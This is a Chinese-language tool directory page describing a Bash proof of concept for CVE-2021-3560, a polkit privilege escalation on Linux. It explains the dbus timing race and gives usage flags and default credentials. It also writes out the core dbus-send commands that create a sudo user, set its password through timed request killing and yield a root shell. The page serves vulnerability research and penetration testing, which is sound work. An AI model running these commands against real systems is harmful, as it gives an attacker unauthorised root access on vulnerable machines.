Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — 自动化的Bash概念验证,用于CVE-2021-3560 polkit权限提升。利用dbus时间竞争条件创建一个sudo用户,并在易受攻击的Linux发行版上获取root shell。 | Kitploit
工具/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
权限提升漏洞分析漏洞利用后渗透利用渗透测试红队
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

自动化的Bash概念验证,用于CVE-2021-3560 polkit权限提升。利用dbus时间竞争条件创建一个sudo用户,并在易受攻击的Linux发行版上获取root shell。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
65个月前尚未审核

CVE-2021-3560-Polkit-权限提升 PoC

原始研究由 Kevin Backhouse 完成

这只是一个 Bash PoC 脚本,用于自动化 Kevin Backhouse 博客中提到的利用步骤。 阅读他关于此漏洞的博文:https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

使用方法

使用方法:
     ./poc.sh
     -h --help
     -u=输入自定义用户名(可选)
     -p=输入自定义密码(可选)
     -f=y,跳过漏洞检查并强制利用(可选)
     -t=输入自定义睡眠时间,而不是自动检测(可选)
     时间格式示例:'-t=.004' 或 '-t=0.004',表示将睡眠时间设置为 0.004ms
注意:
指定选项时必须使用等号(=)。
如果不指定选项,脚本将自动检测可能的时间,并尝试使用该时间插入新用户。
默认凭据是 'secnigma:secnigmaftw'
如果利用成功,则可以使用 'su - secnigma' 登录,并使用 'sudo bash' 生成 root shell。

注意事项:

  • 此利用仅适用于已安装 accountsservice 和 gnome-control-center 的发行版,并且必须具有 polkit 版本 0.113(或更高)或 0-105-26(Debian 分支的 polkit)。
  • 此利用已在 Ubuntu 20.04(polkit 版本 0-105-26,Debian 分支)和 Centos 8(polkit 版本 0.115)上测试通过。如果确定目标存在漏洞,但利用的检查功能失败,可以使用 -f=y 标志绕过所有检查并强制利用。
  • 已确认存在漏洞的发行版包括 RHEL 8、Fedora 21、Debian testing("bullseye")和 Ubuntu 20.04。
  • 发行版兼容性列表可在 Kevin 的博客中找到。
  • 此脚本会在 sudo 组中注入一个新用户。如果利用成功,我们可以使用 su - <username> 并配合脚本提供的密码登录账号,然后输入 sudo bash 进入 root shell!
  • 由于此攻击依赖精确的时间控制,通常需要多次尝试才能使利用生效。
  • 警告:不要在图形界面登录环境中运行此脚本!
  • 如果在图形界面登录环境中运行,循环会反复弹出 polkit 身份验证提示。因此,请仅在 SSH/NC shell 中运行此利用。
  • 如果出现这种情况,请按 Esc 键关闭身份验证提示,然后按 Ctrl+C 快速终止脚本。

利用是如何工作的?

研究者的博客中提供了详细的解释和手动利用的 PoC。

以下是此利用的 TL;DR 简介:

  • 此攻击需要精确的时间控制,并且必须通过 SSH(或某些无法打开图形应用的命令行会话)登录。
  • 攻击者可以通过发送 dbus 消息触发 polkit,但在 polkit 处理请求时突然中断连接。然后,攻击者可以使用先前请求的唯一总线标识符发送第二个请求,以 UID 0(即 root)的身份执行请求。
  • 此漏洞存在于 polkit 中,因为它会将不再存在的总线标识符的连接 UID 视为来自 UID 0 的请求。这意味着,如果我们能正确把握攻击时机并在恰当时刻终止第一个请求,就可以使用 UID 0(即 root)的权限发出第二个请求。
  • 终止连接的时机被计算为发送 dbus 消息所需时间的一半。详细解释见此处。

此脚本实际上做了什么?

正如之前所说,这只是一个自动化 Kevin Backhouse PoC 的 bash 脚本。核心命令相同;我只是自动化了一些初始步骤(例如确定正确的时间、扫描漏洞、插入自定义凭据、打印彩色输出等)。

如果在没有任何参数的情况下运行此脚本,其默认行为如下:

  • 检查发行版类型。[使用 /etc/os-release 文件。]
  • 检查 accountservice 和 gnome-control-center 的安装情况。[在 rhel/centos/fedora 中,使用 rpm -qa;在 debian/ubuntu 发行版中,使用 dpkg -l。]
  • 如果找到安装项,则脚本检查 polkit 版本。[rhel/centos/fedora 要求 0.113(或更高),Debian/Ubuntu 要求 0-105-26。]
  • 如果发现 polkit 版本存在漏洞,脚本开始利用。
  • 首先,脚本使用如下命令通过 dbus-send 发送请求,找出发送请求所需的时间:bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
  • 然后,通过将请求所需时间除以 2 计算出终止请求的时间($t)。($t=time-required-to-request/2)[使用 awk 计算]
  • 计算出时间($t)后,重复执行 20 次插入 $username(secnigma)的请求。bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • 如果用户插入成功,[通过 id secnigma 确认],则生成密码哈希 [使用 bash openssl passwd -5 `echo -n $password` ]。($password=secnigmaftw)
  • 然后,执行 20 次密码哈希插入命令。bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!
下载工具